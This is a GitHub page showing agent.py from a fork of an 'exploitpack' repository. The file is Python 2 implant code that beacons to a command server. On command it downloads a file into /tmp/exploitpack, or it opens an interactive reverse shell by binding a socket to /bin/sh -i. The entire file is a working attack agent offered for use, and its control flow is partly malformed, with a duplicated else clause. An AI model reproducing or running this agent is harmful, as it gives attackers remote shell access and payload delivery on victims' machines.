forked from c0ll3cti0n/exploitpack
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathagent.py
More file actions
67 lines (61 loc) · 2.18 KB
/
Copy pathagent.py
File metadata and controls
67 lines (61 loc) · 2.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import socket,subprocess,errno,time,os,signal,sys
class Agent:
def __init__(self, target, port):
self.hostname = target
self.port = int(port)
def run_worker(self):
while True:
try:
print "[*] Poking server"
self.poke()
except Exception,exc:
time.sleep(2)
else:
print "[*] Hello Server"
else:
raise
def poke(self):
whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])
time.sleep(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.hostname, self.port))
s.sendall(whoami)
data = s.recv(1024)
split = data.split(":")
if len(split) > 2:
command = split[2]
print repr(command)
if 'file' == command.rstrip():
while 1:
print "[*] Receiving file"
sfile = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sfile.connect((self.hostname, int(split[1])))
print "connecting to: "
print self.hostname
print int(split[1])
sfile.send("\n")
data = sfile.recv(8192)
print data
fw = open("/tmp/exploitpack", "wb")
fw.write(data)
fw.close()
if whoami == split[0]:
print "[*] Creating reverse shell"
sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sterminal.connect((self.hostname, int(split[1])))
os.dup2(sterminal.fileno(), 0)
os.dup2(sterminal.fileno(), 1)
os.dup2(sterminal.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
s.close()
def recvall(self):
data = ""
part = None
while part != "":
part = self.recv(4096)
data += part
return data
hostname = sys.argv[1]
port = sys.argv[2]
new = Agent(hostname, port)
new.run_worker()